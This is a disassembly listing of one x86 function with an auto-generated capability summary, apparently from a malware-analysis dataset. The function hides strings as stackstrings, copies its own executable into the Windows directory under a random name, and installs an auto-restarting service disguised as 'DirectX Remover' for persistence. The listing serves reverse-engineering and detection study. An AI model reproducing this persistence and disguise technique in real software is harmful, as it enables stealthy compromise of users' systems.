Function at 0x4067f0
Capabilities:
Contain obfuscated stackstrings
Copy file
Create service
Modify service
Persist via windows service
Set registry value
Start service

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x415428
push 0x413b46
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x404
push ebx
push esi
push edi
push 0x104
lea eax, [ebp - 0x340]
push eax
xor esi, esi
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov byte [ebp - 0x238], 0x47
mov bl, 0x65
mov byte [ebp - 0x237], bl
mov byte [ebp - 0x236], 0x74
mov byte [ebp - 0x235], 0x57
mov byte [ebp - 0x234], 0x69
mov byte [ebp - 0x233], 0x6e
mov byte [ebp - 0x232], 0x64
mov byte [ebp - 0x231], 0x6f
mov byte [ebp - 0x230], 0x77
mov byte [ebp - 0x22f], 0x73
mov byte [ebp - 0x22e], 0x44
mov byte [ebp - 0x22d], 0x69
mov byte [ebp - 0x22c], 0x72
mov byte [ebp - 0x22b], bl
mov byte [ebp - 0x22a], 0x63
mov byte [ebp - 0x229], 0x74
mov byte [ebp - 0x228], 0x6f
mov byte [ebp - 0x227], 0x72
mov byte [ebp - 0x226], 0x79
mov byte [ebp - 0x225], 0x41
mov byte [ebp - 0x224], 0
lea ecx, [ebp - 0x238]
push ecx
push str.KERNEL32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x104
lea edx, [ebp - 0x220]
push edx
call eax
lea edi, [ebp - 0x220]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
lea eax, [ebp - 0x340]
push eax
lea ecx, [ebp - 0x220]
push ecx
call sub.MSVCRT.dll_strncmp
add esp, 0xc
test eax, eax
je 0x406a9c
mov al, 0x25
mov byte [ebp - 0x360], al
mov byte [ebp - 0x35f], 0x63
mov byte [ebp - 0x35e], al
mov byte [ebp - 0x35d], 0x63
mov byte [ebp - 0x35c], al
mov byte [ebp - 0x35b], 0x63
mov byte [ebp - 0x35a], al
mov byte [ebp - 0x359], 0x63
mov byte [ebp - 0x358], al
mov byte [ebp - 0x357], 0x63
mov byte [ebp - 0x356], al
mov byte [ebp - 0x355], 0x63
mov byte [ebp - 0x354], 0x2e
mov byte [ebp - 0x353], bl
mov byte [ebp - 0x352], 0x78
mov byte [ebp - 0x351], bl
mov byte [ebp - 0x350], 0
push 0x1a
call fcn.00406040
add esp, 4
add eax, 0x61
push eax
push 0x1a
call fcn.00406040
add esp, 4
add eax, 0x61
push eax
push 0x1a
call fcn.00406040
add esp, 4
add eax, 0x61
push eax
push 0x1a
call fcn.00406040
add esp, 4
add eax, 0x61
push eax
push 0x1a
call fcn.00406040
add esp, 4
add eax, 0x61
push eax
push 0x1a
call fcn.00406040
add esp, 4
add eax, 0x61
push eax
lea edx, [ebp - 0x360]
push edx
lea eax, [ebp - 0x3b0]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x20
lea edx, [ebp - 0x220]
mov edi, 0x418878
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
dec edi
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x3b0]
lea edx, [ebp - 0x220]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
dec edi
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push eax
lea eax, [ebp - 0x220]
push eax
lea ecx, [ebp - 0x340]
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov ecx, 0x41
xor eax, eax
lea edi, [ebp - 0x340]
rep stosd dword es:[edi], eax
lea edi, [ebp - 0x220]
lea edx, [ebp - 0x340]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
xor esi, esi
mov dword [ebp - 0x23c], esi
mov dword [ebp - 0x348], esi
mov dword [ebp - 0x344], esi
mov dword [ebp - 4], esi
push 0xf003f
push esi
push esi
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov esi, eax
mov dword [ebp - 0x344], esi
test esi, esi
je 0x406df1
push 0
push 0
push 0
push 0
push 0
lea ecx, [ebp - 0x340]
push ecx
push 1
push 2
push 0x110
push 0xf01ff
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov edi, eax
mov dword [ebp - 0x348], edi
push esi
call dword [sym.imp.ADVAPI32.dll_LockServiceDatabase]
mov dword [ebp - 0x3dc], eax
mov dword [ebp - 0x3b4], str.DirectX_Remover_lcg_for_Windows_R_.
lea ecx, [ebp - 0x3b4]
push ecx
push 1
push edi
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2A]
xor eax, eax
mov dword [ebp - 0x3f0], eax
xor edx, edx
mov dword [ebp - 0x3ec], edx
mov dword [ebp - 0x3e8], edx
mov dword [ebp - 0x3e4], edx
mov dword [ebp - 0x3e0], edx
mov dword [ebp - 0x3ec], eax
mov dword [ebp - 0x3f0], 0x15180
mov dword [ebp - 0x3c8], 0x1b58
mov ecx, 1
mov dword [ebp - 0x3cc], ecx
mov dword [ebp - 0x3c0], eax
mov dword [ebp - 0x3c4], ecx
mov dword [ebp - 0x3b8], eax
mov dword [ebp - 0x3bc], ecx
mov dword [ebp - 0x3e4], 3
lea ecx, [ebp - 0x3cc]
mov dword [ebp - 0x3e0], ecx
mov dword [ebp - 0x3e8], eax
lea edx, [ebp - 0x3f0]
push edx
push 2
push edi
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2A]
mov eax, dword [ebp - 0x3dc]
push eax
call dword [sym.imp.ADVAPI32.dll_UnlockServiceDatabase]
test edi, edi
jne 0x406c03
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x431
jne 0x406c03
push 0xf01ff
mov ecx, dword [ebp + 8]
push ecx
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov dword [ebp - 0x348], eax
test eax, eax
je 0x406df1
push edi
push edi
mov edx, eax
push edx
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
mov edi, dword [ebp - 0x348]
push 0
push 0
push edi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
test eax, eax
je 0x406df1
mov al, 0x53
mov byte [ebp - 0x414], al
mov byte [ebp - 0x413], 0x59
mov byte [ebp - 0x412], al
mov byte [ebp - 0x411], 0x54
mov byte [ebp - 0x410], 0x45
mov byte [ebp - 0x40f], 0x4d
mov cl, 0x5c
mov byte [ebp - 0x40e], cl
mov dl, 0x43
mov byte [ebp - 0x40d], dl
mov byte [ebp - 0x40c], 0x75
mov byte [ebp - 0x40b], 0x72
mov byte [ebp - 0x40a], 0x72
mov byte [ebp - 0x409], bl
mov byte [ebp - 0x408], 0x6e
mov byte [ebp - 0x407], 0x74
mov byte [ebp - 0x406], dl
mov byte [ebp - 0x405], 0x6f
mov byte [ebp - 0x404], 0x6e
mov byte [ebp - 0x403], 0x74
mov byte [ebp - 0x402], 0x72
mov byte [ebp - 0x401], 0x6f
mov byte [ebp - 0x400], 0x6c
mov byte [ebp - 0x3ff], al
mov byte [ebp - 0x3fe], bl
mov byte [ebp - 0x3fd], 0x74
mov byte [ebp - 0x3fc], cl
mov byte [ebp - 0x3fb], al
mov byte [ebp - 0x3fa], bl
mov byte [ebp - 0x3f9], 0x72
mov byte [ebp - 0x3f8], 0x76
mov byte [ebp - 0x3f7], 0x69
mov byte [ebp - 0x3f6], 0x63
mov byte [ebp - 0x3f5], bl
mov byte [ebp - 0x3f4], 0x73
mov byte [ebp - 0x3f3], cl
mov byte [ebp - 0x3f2], 0
lea edi, [ebp - 0x414]
lea edx, [ebp - 0x11c]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edx, [ebp - 0x11c]
mov edi, dword [ebp + 8]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
dec edi
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea eax, [ebp - 0x23c]
push eax
lea ecx, [ebp - 0x11c]
push ecx
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
mov byte [ebp - 0x3d8], 0x44
mov byte [ebp - 0x3d7], bl
mov byte [ebp - 0x3d6], 0x73
mov byte [ebp - 0x3d5], 0x63
mov byte [ebp - 0x3d4], 0x72
mov byte [ebp - 0x3d3], 0x69
mov byte [ebp - 0x3d2], 0x70
mov byte [ebp - 0x3d1], 0x74
mov byte [ebp - 0x3d0], 0x69
mov byte [ebp - 0x3cf], 0x6f
mov byte [ebp - 0x3ce], 0x6e
mov byte [ebp - 0x3cd], 0
mov esi, dword [ebp + 0x10]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push esi
push 1
push 0
lea edx, [ebp - 0x3d8]
push edx
mov eax, dword [ebp - 0x23c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov esi, dword [ebp - 0x344]
mov dword [ebp - 4], 0xffffffff
call fcn.00406e14
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret